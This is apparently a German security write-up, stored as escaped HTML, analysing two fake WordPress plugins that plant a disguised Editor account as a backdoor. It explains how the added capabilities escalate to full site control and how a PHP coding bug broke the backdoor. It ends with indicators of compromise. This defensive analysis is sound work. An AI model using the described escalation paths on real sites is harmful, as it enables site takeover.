Die Rolle Editor mit zwei zus\u00e4tzlichen Berechtigungen ist Absicht. In der Benutzerliste erscheint das Konto als Editor, nicht als Administrator, und f\u00e4llt bei einer \u00fcblichen Durchsicht der Admins nicht auf. Praktisch hat es aber die volle Kontrolle \u00fcber die Website:<\/p>\n \ninstall_plugins<\/code> erlaubt den Upload beliebiger Plugins. Deren PHP-Dateien lassen sich auch ohne Aktivierung direkt per URL aufrufen, also beliebiger Code auf dem Server.<\/li>\nmanage_options<\/code> \u00f6ffnet alle Einstellungen. Registrierung einschalten und die Standardrolle auf Administrator setzen gen\u00fcgt, und der Angreifer legt sich einen vollwertigen Admin an.<\/li>\n- Ein Editor hat bei einer normalen WordPress-Installation auch
unfiltered_html<\/code> und kann damit JavaScript in Beitr\u00e4ge einf\u00fcgen, das im Browser jedes Administrators l\u00e4uft.<\/li>\n<\/ul>\nDie Hintert\u00fcr hat noch eine zweite Ebene. Das angelegte Konto mit bekanntem Passwort bleibt in WordPress auch nach dem Entfernen des Plugins bestehen, und der Angreifer kann sich damit \u00fcber das normale Anmeldeformular einloggen, sofern f\u00fcr dieses Konto keine Zwei-Faktor-Authentifizierung aktiv ist.<\/p>\n Der Fehler, der uns gerettet hat<\/h3>\nDie Konstanten sind mit define()<\/code> als globale Konstanten definiert (LOADSTACK35C_FIELD<\/code>), der Code liest sie aber als Klassenkonstanten (self::FIELD<\/code>). Die Klasse hat keine Konstanten. PHP 8 wirft deshalb beim ersten Auswerten von self::FIELD<\/code> den Fehler Error: Undefined constant LoadStack35c::FIELD<\/code>. Das passiert noch vor der Token-Pr\u00fcfung, also bei jeder Anfrage: beim normalen Besuch, im Admin, beim Login, in der REST-API, bei Cron und in WP-CLI. Die Website f\u00e4llt mit Fehler 500 aus und liefert nur Seiten aus dem Cache.<\/p>\nDie Installationsanfrage selbst lief erfolgreich durch. UpdraftCentral verarbeitet Befehle erst in der Aktion wp_loaded<\/code>, die nach init<\/code> kommt, in dieser Anfrage lief der fehlerhafte Code also nicht. Der Angreifer bekam eine Erfolgsbest\u00e4tigung und erfuhr aus der Antwort nichts von dem Fehler. Erst die folgenden Anfragen st\u00fcrzten ab.<\/p>\nDer Angreifer muss nur ein paar Zeichen korrigieren, und die n\u00e4chste Welle kann funktionieren. Wenn Sie ein \u00e4hnliches \u201ekaputtes\u201c Plugin finden, reparieren Sie es nicht.<\/strong> Eine Reparatur w\u00fcrde die Hintert\u00fcr einschalten. Entfernen Sie es.<\/p>\nWeitere Details<\/h3>\n\n- Das Plugin gibt sich als gew\u00f6hnliche Erweiterung: vollst\u00e4ndiger Header, GPL-Lizenz,
Text Domain<\/code>, die Beschreibung \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c und ein erfundener Herausgeber (\u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c).<\/li>\n- Die Dateien
assets\/public.css<\/code>, assets\/public.js<\/code> und languages\/readme.txt<\/code> enthalten nur einen Kommentar. Das Plugin nutzt sie nirgends, sie sollen das Verzeichnis wie ein echtes Plugin aussehen lassen.<\/li>\nuninstall.php<\/code> l\u00f6scht beim Deinstallieren \u00fcber den Admin die Optionen <slug>_sync_token<\/code> und <slug>_setup_stamp<\/code> und damit die eigenen Spuren. Die zweite Option legt der Code nirgends an, sie ist ein \u00dcberbleibsel der Vorlage.<\/li>\n- Bei der Aktivierung speichert es das Token in der Option
<slug>_sync_token<\/code> ohne Autoload. Der Code liest sie nirgends.<\/li>\n- Beide Proben stammen aus demselben Generator. Ersetzt man Namen, Tokens, Benutzernamen und Versionen durch Platzhalter, sind alle Dateien Byte f\u00fcr Byte identisch. Der Name folgt dem Muster
wort-wort-3 Hex-Zeichen<\/code>, der Parameter ist _<\/code> plus 6 Hex-Zeichen, der Benutzer wort-wort<\/code> plus zwei Ziffern. Das Token hat 32 Zeichen, das Passwort 22 Zeichen (Buchstaben, Ziffern, Unterstrich).<\/li>\n<\/ul>\nIndikatoren einer Kompromittierung<\/h2>\n\n\n\n\n| Plugin-Verzeichnis<\/td>\n | load-stack-35c<\/code><\/td>\ntext-gantry-eb0<\/code><\/td>\n<\/tr>\n\n| Name \/ Autor \/ Version<\/td>\n | Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n | Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n | \n| URL-Parameter<\/td>\n | _9f5696<\/code><\/td>\n_3e9caa<\/code><\/td>\n<\/tr>\n\n| Benutzer<\/td>\n | data-ops43<\/code><\/td>\nmedia-staff96<\/code><\/td>\n<\/tr>\n\n| Datenbankoption<\/td>\n | load_stack_35c_sync_token<\/code><\/td>\ntext_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n\n| SHA-256 der Hauptdatei<\/td>\n | 3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\nbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n\nSHA-256 von uninstall.php<\/code><\/td>\n4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n | | | | | | | | | | | |
|
|